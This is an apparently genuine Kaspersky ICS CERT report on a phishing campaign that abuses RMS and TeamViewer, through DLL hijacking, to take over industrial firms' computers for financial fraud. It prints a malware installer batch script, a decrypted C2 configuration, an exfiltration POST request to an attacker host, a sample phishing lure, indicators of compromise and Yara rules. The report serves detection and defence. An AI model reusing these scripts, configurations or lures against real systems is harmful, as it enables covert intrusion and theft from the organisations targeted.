Attacks on industrial enterprises using RMS and TeamViewer

Vyacheslav Kopeytsev, Maria Garnaeva, Kirill Kruglov

Kaspersky Lab ICS CERT
Contents
Main facts............................................................................................................................................. 2
Phishing emails .................................................................................................................................... 3
Attacks using RMS.............................................................................................................................. 6
Attacks using TeamViewer .................................................................................................................. 8
The use of additional malware ........................................................................................................... 10
Attack targets..................................................................................................................................... 12
Conclusions ........................................................................................................................................ 13
Appendix 1 – Indicators of Compromise............................................................................................. 14
  Folders created by the malware ......................................................................................................... 14
  Malicious attachments......................................................................................................................... 14
  Other malware used by attackers or found on malware command-and-control servers ................. 15
  Malware modules installed in the system ............................................................................................. 15
  Legitimate objects used by the malware .............................................................................................. 16
  Malware configuration files .................................................................................................................. 16
  Malware registry keys............................................................................................................................ 18
  Typical characteristics of the network activity of legitimate software used by the attackers .......... 19
  Servers used by the attackers .............................................................................................................. 19
  Email addresses to which the malware sends messages ................................................................. 19
Appendix 2 – Yara rules ..................................................................................................................... 20
Main facts

Kaspersky Lab ICS CERT has identified a new wave of phishing emails with malicious attachments targeting primarily companies and organizations that are, in one way or another, associated with industrial production.

The phishing emails are disguised as legitimate commercial offers and are sent mainly to industrial companies located in Russia. The content of each email reflects the activity of the organization under attack and the type of work performed by the employee to whom the email is sent.

According to the data that we have collected, this series of attacks started in November 2017 and is currently in progress. Notably, the first similar attacks were recorded as far back as 2015.

The malware used in these attacks installs legitimate remote administration software – TeamViewer or Remote Manipulator System/Remote Utilities (RMS). This enables the attackers to gain remote control of infected systems. The threat actor uses various techniques to mask the infection and the activity of malware installed in the system.

According to the data available, the attackers’ main goal is to steal money from victim organizations’ accounts. When attackers connect to a victim’s computer, they search for and analyze purchase documents, as well as the financial and accounting software used. After that, the attackers look for various ways in which they can commit financial fraud, such as spoofing the bank details used to make payments.

In cases where the cybercriminals need additional data or capabilities after infecting a system, such as privilege escalation and obtaining local administrator privileges, the theft of user authentication data for financial software and services, or Windows accounts for lateral movement, the attackers download an additional pack of malware to the system, which is specifically tailored to the attack on each individual victim. The malware pack can include spyware, additional remote administration utilities that extend the attackers’ control on infected systems, malware for exploiting operating system and application software vulnerabilities, as well as the Mimikatz utility, which provides the attackers with Windows account data.

Apparently, among other methods, the attackers obtain the information they need to perpetrate their criminal activity by analyzing the correspondence of employees at the enterprises attacked. They may also use the information found in these emails to prepare new attacks – against companies that partner with the current victim.

Clearly, on top of the financial losses, these attacks result in leaks of the victim organizations’ sensitive data.
Phishing emails

In most cases, the phishing emails have finance-related content; the names of attachments also point to their connection with finance. Specifically, some of the emails purport to be invitations to tender from large industrial companies (see below).

Malicious attachments may be packed into archives. Some of the emails have no attachments – in these cases, message text is designed to lure users into following links leading to external resources and downloading malicious objects from those resources.

Below is a sample phishing email used in attacks on some organizations:

From: Отдел мониторинга ценовой политики [mailto:info@____________.ru]
Sent: Wednesday, April 25, 2018 2:56 PM
To: ______________________
Subject: иск: 7797072

Добрый день,

Ваша компания выбрана в качестве поставщика оборудования для нужд ..., в продолжение разговора с секретарём высшего Вами запрос на предоставление необходимой документации и регистрации в единой отраслевой программе.

Индивидуальный код (пароль) для запуска программы заказов: 917815

Информацию о заказе № 779447567/18-21 на сумму 97455909,00 Руб. на Ваше оборудование вы найдете в поиске отраслевой программы заказов по номеру №779447567/18-21

Просим Вас подать документы не позже 27.04.2018?

С Уважением,

Отдел мониторинга ценовой политики

Тел.: +7 (495) 888-99-99?

Screenshot of a phishing email

The above email was sent on behalf of a well-known industrial organization. The domain name of the server from which the message was sent was similar to the domain name of that organization’s official website. The email had an archive attached to it. The archive was protected with a password that could be found in the message body.
It is worth noting that the attackers addressed an employee of the company under attack by his or her full name (this part of the email was masked in the screenshot above for confidentiality reasons). This indicates that the attack was carefully prepared and an individual email that included details relevant to the specific organization was created for each victim.

As part of the attacks, the threat actor uses various techniques to mask the infection. In this case, Seldon 1.7 – legitimate software designed to search for tenders – is installed in infected systems in addition to malware components and a remote administration application.

To keep users from wondering why they didn’t get information on the procurement tender referred to in the phishing email, the malicious program distributes a damaged copy of Seldon 1.7 software.

![Window of legitimate software Seldon 1.7](image1.png)

In other cases, the user is shown a partially damaged image.

![Image opened by malware](image2.png)

There is also a known case of malware being masked as a PDF document containing a bank transfer receipt. Curiously, the receipt contains valid data. Specifically, it mentions existing companies and their valid financial details; even a car’s VIN matches its model.
The malware used in these attacks installs legitimate remote administration software – TeamViewer or Remote Manipulator System/Remote Utilities (RMS).
Attacks on industrial enterprises using Kaspersky Lab ICS CERT RMS and TeamViewer

Attacks using RMS

There are several known ways in which the malware can be installed in a system. Malicious files can be run either by an executable file attached to an email or by a specially crafted script for the Windows command interpreter.

For example, the archive mentioned above contains an executable file, which has the same name and is a password-protected self-extracting archive. The archive extracts the files and runs a script that installs and launches the actual malware in the system.

```plaintext
@echo off
@echo off
mkdir "%appdata%\LocalDataNT"
xcopy /Y /I "%~dp0*" "%appdata%\LocalDataNT"
del /f /q "%appdata%\LocalDataNT\updatecache.bat"
start "%" "%appdata%\LocalDataNT\seldon1.7-netinstall.exe"
start "%" "%appdata%\LocalDataNT\WinPrint.exe" r "WinPrintSvc.exe"
```

Contents of the malware installation file

It can be seen from the commands in the screenshot above that after copying the files the script deletes its own file and launches legitimate software in the system – Seldon v.1.7 and RMS, – enabling the attackers to control the infected system without the user’s knowledge.

Depending on the malware version, files are installed in %AppData%\LocalDataNT folder %AppData%\NTLocalData folder or in %AppData%\NTLocalAppData folder.

When it launches, legitimate RMS software loads dynamic libraries (DLL) required for the program’s operation, including the system file winspool.drv, which is located in the system folder and is used to send documents to the printer. RMS loads the library insecurely, using its relative path (the vendor has been notified of this vulnerability). This enables the attackers to conduct a DLL hijacking attack: they place a malicious library in the same directory with the RMS executable file, as a result of which a malware component loads and gains control instead of the corresponding system library.

The malicious library completes malware installation. Specifically, it creates a registry value responsible for automatically running RMS at system startup. Notably, in most cases of this campaign the registry value is placed in the RunOnce key, instead of the Run key, enabling the malware to run automatically only the next time the system starts up. After that, the malware needs to create the registry value again.

It is most likely that the attackers chose this approach to mask the presence of malware in the system as well as possible. The malicious library also implements techniques for resisting analysis and detection. One such technique involves dynamically importing Windows API functions using their hashes. This way, the attackers do not have to store the names of these functions in the malicious library’s body, which helps them to conceal the program’s real functionality from most analysis tools.
Part of a malicious code fragment implementing the dynamic import of functions

The malicious dynamic library, winspool.drv, decrypts configuration files prepared by the attackers, which contain RMS software settings, the password for remotely controlling the machine, and the settings needed to notify the attackers that the system has been successfully infected.

One of the configuration files contains an email address to which information about the infected system is sent, including computer name, user name, the RMS machine’s Internet ID, etc. The Internet ID sent as part of this information is generated on a legitimate server of the RMS vendor after the computer connects to it. The identifier is subsequently used to connect to the remotely controlled system located behind NAT (a similar mechanism is also used in popular instant messaging solutions).

A list of email addresses found in the configuration files discovered is provided in the indicators of compromise section.

A modified version of RC4 is used to encrypt configuration files. Configuration files from the archive mentioned above are shown below.
Attacks on industrial enterprises using Kaspersky Lab ICS CERT RMS and TeamViewer

Decrypted contents of Options.rcfg file

Decrypted contents of Password.rcfg file

After this, the attackers can use the system’s Internet ID and password to control it without the user’s knowledge via a legitimate RMS server, using the standard RMS client.

Attacks using TeamViewer

Attacks using legitimate TeamViewer software are very similar to those using RMS software, which are described above. A distinguishing feature is that information from infected systems is sent to malware command-and-control servers, rather than the attackers’ email address.

As in the case of RMS, malicious code is injected into the TeamViewer process by substituting a malicious library for system DLL. In the case of TeamViewer, msimg32.dll is used.

This is not a unique tactic. Legitimate TeamViewer software has been used in APT and cybercriminal attacks before. The best-known group to have used this toolset is TeamSpy Crew. We believe that the attacks described in this document are not associated with TeamSpy and are the result of known malware being re-used by another cybercriminal group. Curiously, the algorithm used to encrypt the configuration file and the password for decrypting it, which were identified in the process of analyzing these attacks, are the same as those published last April in a description of similar attacks.

It is common knowledge that legitimate TeamViewer software does not hide its startup or operation from the user and, specifically, notifies the user of incoming connections. At the same time, the attackers need to gain remote control of the infected system without the user’s knowledge. To achieve this, they hook several Windows API functions.

![Windows API function hooked by the malware](image-url)
The functions are hooked using a well-known method called *splicing*. As a result, when legitimate software calls one of the Windows API functions, control is passed to the malicious DLL and the legitimate software gets a spoofed response instead of one from the operating system.

Hooking Windows API functions enables attackers to hide TeamViewer windows, protect malware files from being detected, and control TeamViewer startup parameters.

After launching, the malicious library checks whether an internet connection is available by executing the command “ping 1.1.1.1” and then decrypts the malicious program’s configuration file tvr.cfg. The file contains various parameters, such as the password used for remotely controlling the system, URL of the attackers’ command-and-control server, parameters of the service under whose name TeamViewer will be installed, the User-Agent field of the HTTP header used in requests sent to the command-and-control server, VPN parameters for TeamViewer, etc.

```
password=superpass
server1=http://*********/tv/getinfo.php
interval=60
useragent=Mozilla/6.0 (Windows NT 6.1)
nohidewall=1
novpn=0
noservice=0
svcgroupl=MShubSvc4
svcname=usshubsvc4
svcdisplay=Microsoft USB 3.0 Hub 4
svcdescr=Microsoft USB 3.0 Hub Control Service 4
arun_type=2
arun_keyname=
arun_fldname=Service Manager
arun_flddescr=Management Service Agent
arun_flddll=shell32.dll
arunfldindex=46
functmr=0
teamviewervpn=1
```

*Screenshot of decrypted contents of the malware configuration file*

Unlike RMS, TeamViewer uses a built-in VPN to remotely control a computer located behind NAT.

As in the case of RMS, the relevant value is added to the RunOnce registry key to ensure that the malware runs automatically at system startup.

The malware collects data on the infected machine and sends it to the command-and-control server along with the system’s identifier needed for remote administration. The data sent includes:

- Operating system version
- User name
- Computer name
- Information on the privilege level of the user on whose behalf the malware is running
- Whether or not a microphone and a webcam are present in the system
- Whether or not antivirus software or other security solutions are installed, as well as the UAC level
Information about security software installed in the system is obtained using the following WQL query:

```
root\SecurityCenter:SELECT * FROM AntiVirusProduct
```

The information collected is sent to the attackers’ server using the following POST request:

```
POST /tv/getinfo.php HTTP/1.0
Accept: */*
Host: micosoft.info
User-Agent: Mozilla/5.0 (Windows NT 6.1)
Connection: close
Content-Length: 374
Content-Type: multipart/form-data; boundary=--------244227161678444

boundary="u"
Content-Disposition: form-data; name="u"
Content-Type: multipart/form-data
Content-Transfer-Encoding: binary

5...Q.:H...6...fJOV..B/0...E.....1.Pn....l.V.%........%.....%.....%....R.Q..}e.R.........b}A....
8:........"HD.t...@...",...c...t...Kj..t41.$....." "w2.Z...z.v.h/...s...[....&.x.xEZv....:..[S.
--------244227161678444--
```

POST request used to send encrypted data to the command-and-control server

Another distinguishing feature of attacks that involve the TeamViewer is the ability to send commands to an infected system and have them executed by the malware. Commands are sent from the command-and-control server using the chat built into the TeamViewer application. The chat window is also hidden by the malicious library and the log files are deleted.

A command sent to an infected system is executed in the Windows command interpreter using the following instruction:

```
cmd.exe /c start /b <command sent to the system>
```

The parameter “/b” indicates that the command sent by the attackers for execution will be run without creating a new window.

The malware also has a mechanism for self-destructing if the appropriate command is received from the attackers’ server.

The use of additional malware

In cases where attackers need additional data (authorization data, etc.), they download spyware to victim computers in order to collect logins and passwords for mailboxes, websites, SSH/FTP/Telnet clients, as well as logging keystrokes and making screenshots.

Additional software hosted on the attackers’ servers and downloaded to victims’ computers was found to include malware from the following families:

- Babylon RAT
- Betabot/Neurevt
- AZORult stealer
- Hallaj PRO Rat
In all probability, these Trojans were downloaded to compromised systems and used to collect information and steal data. In addition to remote administration, the capabilities of malware from these families include:

- Logging keystrokes
- Making screenshots
- Collecting system information and information on installed programs and running processes
- Downloading additional malicious files
- Using the computer as a proxy server
- Stealing passwords from popular programs and browsers
- Stealing cryptocurrency wallets
- Stealing Skype correspondence
- Conducting DDoS attacks
- Intercepting and spoofing user traffic
- Sending any user files to the command-and-control server

In other cases observed, after an initial analysis of an infected system, the attackers downloaded an additional malware module to the victim’s computer – a self-extracting archive containing various malicious and legitimate programs, which were apparently individually selected for each specific system.

For example, if the malware had previously been executed on behalf of a user who did not have local administrator privileges, to evade the Windows User Account Control (UAC), the attackers used the DLL hijacking technique mentioned above, but this time on a Windows system file, %systemdir%\migwiz\migwiz.exe, and a library, cryptbase.dll. The local administrator privileges obtained are used to run RemoteUtilities, a remote administration utility, on the infected system. The attackers use a modified RemoteUtilities executable file to mask the presence of the software on the system. The utility offers extensive functionality for managing the system remotely:

- Remotely controlling the system (RDP)
- Transferring files to and from the infected system
- Controlling power on the infected system
- Remotely managing the processes of running application
- Remote shell (command line)
- Managing hardware
- Capturing screenshots and screen videos
- Recording sound and video from recording devices connected to the infected system
- Remote management of the system registry

In some cases, the Mimikatz utility was installed in addition to cryptbase.dll and RemoteUtilities. We believe that the attackers use Mimikatz in cases when the first system infected is not one that has software for working with financial data installed on it. In these cases, the Mimikatz utility is used to steal authentication data from the organization’s employees and gain remote access to other machines on the enterprise’s network. The use of this technique by the attackers poses a serious danger: if they succeed
in obtaining the account credentials for the domain administrator’s account, this will give them control of all systems on the enterprise’s network.

**Attack targets**

According to KSN data, from October 2017 to June 2018, about 800 computers of employees working at industrial companies were attacked using the malware described in this paper.

According to our estimate, at least 400 industrial companies in Russia have been targeted by this attack, including companies in the following industries:

- Manufacturing
- Oil and gas
- Metallurgy
- Engineering
- Energy
- Construction
- Mining
- Logistics

Based on this, it can be concluded that the attackers do not concentrate on companies in any specific industry or sector. At the same time, their activity clearly demonstrates their determination to compromise specifically systems belonging to industrial companies. This choice on the part of the cybercriminals could be explained by the fact that the threat awareness and cybersecurity culture in industrial companies is inferior to that in companies from other sectors of the economy (such as banks or IT companies). At the same time, as we have noted before, it is more common for industrial companies than for companies in other sectors to conduct operations involving large amounts of money on their accounts. This makes them an even more attractive target for cybercriminals.
Conclusions

This research demonstrates once again that even when they use simple techniques and known malware, threat actors can successfully attack many industrial companies by expertly using social engineering and masking malicious code in target systems. Criminals actively use social engineering to keep users from suspecting that their computers are infected. They also use legitimate remote administration software to evade detection by antivirus solutions.

This series of attacks targets primarily Russian organizations, but the same tactics and tools can be used in attacks against industrial companies in any country of the world.

We believe that the threat actor behind this attack is highly likely to be a criminal group whose members have a good command of Russian. This is indicated by the high level at which texts in Russian are prepared for phishing emails used in the attack, as well as the attackers’ ability to make changes to organizations’ financial data in Russian. More data about the research on the infrastructure and language used by the attackers is available in the private version of the report on the Treat Intelligence portal.

Remote administration capabilities give criminals full control of compromised systems, so possible attack scenarios are not limited to the theft of money. In the process of attacking their targets, the attackers steal sensitive data belonging to target organizations, their partners and customers, carry out surreptitious video surveillance of the victim companies’ employees, and record audio and video using devices connected to infected machines.

The various malware components used in this attack are detected by Kaspersky Lab products with the following verdicts:

- Trojan.BAT.Starter
- Trojan.Win32.Dllhijack
- Trojan.Win32.Waldek
- Backdoor.Win32.RA-based
- Backdoor.Win32.Agent
Appendix 1 – Indicators of Compromise

Folders created by the malware

%APPDATA%\Roaming\NTLocalAppData
%APPDATA%\Roaming\LocalDataNT
%APPDATA%\Roaming\NTLocalData

Malicious attachments

<table>
<thead>
<tr>
<th>File name</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>Отраслевая программа закупок ПАО РОСАТОМ.exe</td>
<td>34A1E9FCC84ADC4A82EC364845F64220</td>
</tr>
<tr>
<td>Отраслевая программа закупок ПАО РОСАТОМ (код 917815).rar</td>
<td>59e172ec7d73a5c41d4dbb218ca1af66</td>
</tr>
<tr>
<td>OPLATA REESTR skrin dogovor.doc.com</td>
<td></td>
</tr>
<tr>
<td>1с nn.pdf</td>
<td></td>
</tr>
<tr>
<td>(№ 444.pdf.com</td>
<td>2374C93EFBE32199B177EB12F96B6166</td>
</tr>
<tr>
<td>новый текстовый.txt.com</td>
<td>C531C45B08B692D84CF0699EF92F0134</td>
</tr>
<tr>
<td>oplata022018rm.rar</td>
<td></td>
</tr>
<tr>
<td>oplata 1c_2 scan.pdf.com</td>
<td>e5562389a49680c25e67b750b2c368eb</td>
</tr>
<tr>
<td>reestr oplat 1c от 01.12.2017.rar</td>
<td></td>
</tr>
<tr>
<td>1C tshetim.rar</td>
<td>3a636038a3d893e441f25696bcbf2c73</td>
</tr>
<tr>
<td>1C kopiya №5.pdf.scr</td>
<td>f9b14393b995a655e72731c8b6ce78fd</td>
</tr>
<tr>
<td>WinRAR pp.rar</td>
<td>6e10bc85be5d330e9aed5b5c87ccee38</td>
</tr>
<tr>
<td>kopiya WinRAR.docx.scr</td>
<td>f8ec2d059d937723becd92ae050a097</td>
</tr>
<tr>
<td>act sverki 09.10.2017 crbarin.pdf.com</td>
<td>21ae834bdd5b89bacacca4d51cf82148</td>
</tr>
<tr>
<td>ooooplata №489 012018 pdf.com</td>
<td>21089b34d8f9cb7910f521e30aa55908</td>
</tr>
</tbody>
</table>
Other malware used by attackers or found on malware command-and-control servers

<table>
<thead>
<tr>
<th>Malware family</th>
<th>MDS</th>
</tr>
</thead>
<tbody>
<tr>
<td>AzoRult</td>
<td>3463d4a1dea003b9904674f21904f04b</td>
</tr>
<tr>
<td>BabylonRAT</td>
<td>075ff2fb2e33a319e56a8955fde154e</td>
</tr>
<tr>
<td>BabylonRAT</td>
<td>aa6797ec4d23a39f91ddd222a31ddd1e</td>
</tr>
<tr>
<td>Betabot</td>
<td>ba9747658aa8263b446bc29b99c0071f</td>
</tr>
<tr>
<td>AzoRult</td>
<td>61aeceb3e037e01bc0ad1062e6ff557e6</td>
</tr>
<tr>
<td>AzoRult</td>
<td>4fd16e0e8bf3ae4ff155e461b2ecb79</td>
</tr>
<tr>
<td>Betabot</td>
<td>db0954a2f9c95737d1e54a1f9cf01404</td>
</tr>
<tr>
<td>Delphi Keylogger</td>
<td>ccb184bbbd257f02e2f69790d33f3b6</td>
</tr>
<tr>
<td>BabylonRAT</td>
<td>5f19025a2ac2afeb331d4a0971507131</td>
</tr>
<tr>
<td>Betabot</td>
<td>579a5233fe9580e83fb20c2addb1a303</td>
</tr>
<tr>
<td>Hallaj PRO Rat</td>
<td>567157989551a5c6926c375eb0652804</td>
</tr>
<tr>
<td>AzoRult</td>
<td>5a610962baf6081eb809a9e460599871</td>
</tr>
</tbody>
</table>

Malware modules installed in the system

<table>
<thead>
<tr>
<th>File path in the infected system</th>
<th>MDS</th>
</tr>
</thead>
<tbody>
<tr>
<td>%APPDATA%\Roaming\NTLocalData\winspool.drv</td>
<td>3EE5C1AB93EFE2C4023275B64652D015</td>
</tr>
<tr>
<td></td>
<td>160E19D53A441715B86BF08C4D48B0D4AC</td>
</tr>
<tr>
<td></td>
<td>964E8B7A72B5A8013355899A6AC086C7</td>
</tr>
<tr>
<td></td>
<td>5A6EFA2921D3174BB9808FA3A3400D13</td>
</tr>
<tr>
<td></td>
<td>E70F6D97CFA140D34F1D47860F2F7E13</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\LocalDataNT\winspool.drv</td>
<td>3ee5c1ab93efe2c4023275b64652d015</td>
</tr>
<tr>
<td></td>
<td>5A6EFA2921D3174BB9808FA3A3400D13</td>
</tr>
<tr>
<td></td>
<td>5b85ad4de2c70479b2b98378410b4b3c</td>
</tr>
<tr>
<td>%ALLUSERSPROFILE%\rfusclient.exe</td>
<td>4f980bf18db0bcff44b088ca64b015513</td>
</tr>
<tr>
<td>%ALLUSERSPROFILE%\rutserv.exe</td>
<td>442d8a7375e2c60b9975c7fb2fb7370e</td>
</tr>
</tbody>
</table>
Attacks on industrial enterprises using RMS and TeamViewer

| %APPDATA%\Roaming\LocalDataNT\msimg32.dll | 70c16fce0a489c77345ccfe5ae6e22e8a |
| %APPDATA%\Roaming\NTLocalAppData\msimg32.dll | 8c4e9016b9b4db809dd312f971a275b1 | 16b4e2dbd74db8f2f4d03e86d27 |
| %APPDATA%\Roaming\NTLocalData\rmmzx.exe | 7e680f2c66fc42facd8630ccee2abe2c |

**Legitimate objects used by the malware**

<table>
<thead>
<tr>
<th>File path in the infected system</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>%APPDATA%\Roaming\LocalDataNT\seldon1.7-netinstall.exe</td>
<td>f3cb88f1b5e6717b1c45c67f66009afdf</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\LocalDataNT\vp8encoder.dll</td>
<td>3e6c2703c1c8e6b2b3512aff48099462</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\wp8encoder.dll</td>
<td>42752438b8903a00d17b93ec354643b8</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\IMG.JPG</td>
<td>6c92bfbdb0463fd86e0b710444b827b7c</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\pp.pdf</td>
<td>52f03af53b73c60f6b448f897fd61abe</td>
</tr>
</tbody>
</table>

**Malware configuration files**

<table>
<thead>
<tr>
<th>File path in the infected system</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>%APPDATA%\Roaming\LocalDataNT\InternetId.rcfg</td>
<td>8c5b459d59cde2f045a8497715cd767</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\InternetId.rcfg</td>
<td>52f03af53b73c60f6b448f897fd61abe</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\InternetId.rcfg</td>
<td>46d0d84f2623a116f39cc9487ac42325</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\InternetId.rcfg</td>
<td>ffc1424e9bf7481a5b70a58e246fed45</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\InternetId.rcfg</td>
<td>e2465454004a30e4384ff6addacebca</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\InternetId.rcfg</td>
<td>52f03af53b73c60f6b448f897fd61abe</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\InternetId.rcfg</td>
<td>d9439c9d88e3b740e39c28c6d06865</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\InternetId.rcfg</td>
<td>ee56723bf5f7d520c601af692e9537</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\InternetId.rcfg</td>
<td>a027c2b634c93e3842e2fda29951ac0626</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\InternetId.rcfg</td>
<td>4ff18a1443732737a7adaf3fecd8894</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\InternetId.rcfg</td>
<td>fa7bf66cf0d1ff8773848cc0e9d97da</td>
</tr>
<tr>
<td>Path</td>
<td>Hashes</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
<td>------------------------------------------------------------------------</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\LocalDataNT\notification.rcfg</td>
<td>1397ba437d24a03931720287007a2ce5</td>
</tr>
<tr>
<td></td>
<td>482ad30376b02fc43bd84521dd823f20</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\notification.rcfg</td>
<td>9d98fc53cc578ceddd0125b567ba97bf</td>
</tr>
<tr>
<td></td>
<td>7b2b766029ac0ddc25a3f7f6635d5df</td>
</tr>
<tr>
<td></td>
<td>0cbd2ed26d8e9e984f2f2211db04673c</td>
</tr>
<tr>
<td></td>
<td>f750453b6eb5cc1a2e83be95980ba9bf</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\LocalDataNT\Options.rcfg</td>
<td>7f2f5143ac6fe02518853946b9c6d417</td>
</tr>
<tr>
<td></td>
<td>1ba3c285bb65d9e24e49aabc0c42cda8</td>
</tr>
<tr>
<td></td>
<td>4b346396d67bf113f4b497aa817f66d0</td>
</tr>
<tr>
<td></td>
<td>3111797ba87101fd67573c7669ca4e92</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\Options.rcfg</td>
<td>ec2c5f7cff8cfb8d3731e06bdb99d687</td>
</tr>
<tr>
<td></td>
<td>6c71e65f0cc9870472d47cd9b7d8902</td>
</tr>
<tr>
<td></td>
<td>f866f9657b696e901e9f046de62e31e</td>
</tr>
<tr>
<td></td>
<td>3a878d7072511bda3de6adba00c7aeaa</td>
</tr>
<tr>
<td></td>
<td>06813c2f312769e3662afc5c682db1a0</td>
</tr>
<tr>
<td></td>
<td>3bd21d949771d628081b48160cddd213</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\LocalDataNT\Password.rcfg</td>
<td>60154c16e8d06c1519188d396c713837</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\Password.rcfg</td>
<td>60154c16e8d06c1519188d396c713837</td>
</tr>
<tr>
<td></td>
<td>bd01624c021a36ff960bf92cace9e5bc</td>
</tr>
<tr>
<td></td>
<td>c6b7d274f25667c4c4035b4a08493d0e</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\LocalDataNT\tvr.cfg</td>
<td>bdf3f1c6c90ccc8c10a22b48bfbe3fa5</td>
</tr>
<tr>
<td>%APPDATA%\Roaming\NTLocalAppData\tvr.cfg</td>
<td>4c93b851992e03c51292d0b956450de1</td>
</tr>
<tr>
<td></td>
<td>3dad56414442ca61ef6810fdf48d5528</td>
</tr>
</tbody>
</table>
## Malware registry keys

<table>
<thead>
<tr>
<th>Registry key path</th>
<th>Registry value</th>
</tr>
</thead>
<tbody>
<tr>
<td>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinPrint</td>
<td>&quot;%APPDATA%\Roaming\LocalDataNT\WinPrint.exe&quot; r &quot;WinPrintSvc.exe&quot;</td>
</tr>
<tr>
<td>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\NTAdminSystem</td>
<td>&quot;%SystemDir%\rundll32.exe&quot; %AppData%\Roaming\NTLocalAppData\winspool.drv&quot;,RAI r &quot;NTAdmin.exe&quot;</td>
</tr>
<tr>
<td>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\NTAdminSystem</td>
<td>%AppData%\Roaming\NTLocalAppData\NTAdmin.exe</td>
</tr>
<tr>
<td>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\sys</td>
<td>%ProgramData%\rutserv.exe &quot;</td>
</tr>
<tr>
<td>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SkypeC0SvcService.exe</td>
<td>C:\Windows\system32\regsvr32.exe /s scrrun.dll &quot;C:\Users\user\AppData\Roaming\NTLocalData\msimg32.dll&quot; htvrh666 &quot;C:\Users\user\AppData\Roaming\NTLocalData\SkypeC0SvcService.exe&quot; r</td>
</tr>
<tr>
<td>HKEY_CURRENT_USER\Software\TektonIT\Remote Manipulator System\Server\Parameters\CalendarRecordSetting</td>
<td>Settings for the program’s parameters</td>
</tr>
<tr>
<td>HKEY_CURRENT_USER\Software\TektonIT\Remote Manipulator System\Server\Parameters\InternetId</td>
<td></td>
</tr>
<tr>
<td>HKEY_CURRENT_USER\Software\TektonIT\Remote Manipulator System\Server\Parameters\notification</td>
<td></td>
</tr>
<tr>
<td>HKEY_CURRENT_USER\Software\TektonIT\Remote Manipulator System\Server\Parameters\Options</td>
<td></td>
</tr>
<tr>
<td>HKEY_CURRENT_USER\Software\TektonIT\Remote Manipulator System\Server\Parameters\Password</td>
<td></td>
</tr>
</tbody>
</table>
Typical characteristics of the network activity of legitimate software used by the attackers

1. Host: server.remoteutilities.com
2. Host: rmanys.ru
3. Host: rms-server.tektonit.ru
4. User-Agent: Mozilla/4.0 (compatible; RMS)
5. User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; DynGate)
6. Connections to servers *.teamviewer.com
7. A combination of the following fields in HTTP headers: HTTP/1.0 and Content-Type: image/jpeg.

Servers used by the attackers

The web resources listed below are not associated with any real-world organizations; the attackers chose some of the domain names to disguise their resources as the resources of well-known companies.

- rosatomgov.ru (IP: 81.177.141.15)
- micorsoft.info (IP: 208.91.198.93)
- buhuchetoo.ru (IP: 185.51.247.125)
- barinovbb.had.su (IP: 185.51.247.169)
- barinoh9.beget.tech (IP: 87.236.19.244)
- papaninili.temp.swtest.ru (IP: 77.222.57.247)
- mts2015stm.myjino.ru (IP: 81.177.135.151)

Email addresses to which the malware sends messages

- barinovbb2018@yandex.ru
- drozd04m@gmail.com
- barinovbb@yandex.ru
- barinovbb101@yandex.ru
Appendix 2 – Yara rules

import "pe"

rule RMS_winspooldrv_dllhijack {
meta:
    description = "winspool.drv malicious file used in RMS RAT"
    hash = "5a6efa2921d3174bb9808fa3a3400d13"
    hash = "bb188e1e92e2be8a1ff009fe22f58f7f"
    version = "1.1"
strings:
    $a1 = "Password.rcfg" fullword
    $a2 = "Password.rcfg" wide fullword
    $b1 = "winspool.drv" fullword
    $b2 = "killrms" wide fullword
condition:
    uint16(0) == 0x5A4D
    and any of ($a*)
    and all of ($b*)
    and filesize < 100000
}

rule TeamViewer_msimg32_dllhijack {
meta:
    description = "msimg32.dll malicious file used in TeamViewer"
    hash = "16b4ebfdf74db8f730f2fb4d03e86d27"
    hash = "8c4e9016b9b4db809dd312f971a275b1"
    version = "1.1"
strings:
    $a1 = "msimg32.dll" fullword
condition:
    uint16(0) == 0x5A4D
    and any of ($a*)
    and pe.exports("SvcMain")
    and pe.number_of_exports > 6
    and filesize > 50000
    and filesize < 200000
}
Kaspersky Lab Industrial Control Systems Cyber Emergency Response Team (Kaspersky Lab ICS CERT) is a global project of Kaspersky Lab aimed at coordinating the work of industrial automation system vendors, owners and operators of industrial facilities and IT security researchers in addressing issues associated with protecting industrial enterprises and critical infrastructure facilities.

Kaspersky Lab ICS CERT

ics-cert@kaspersky.com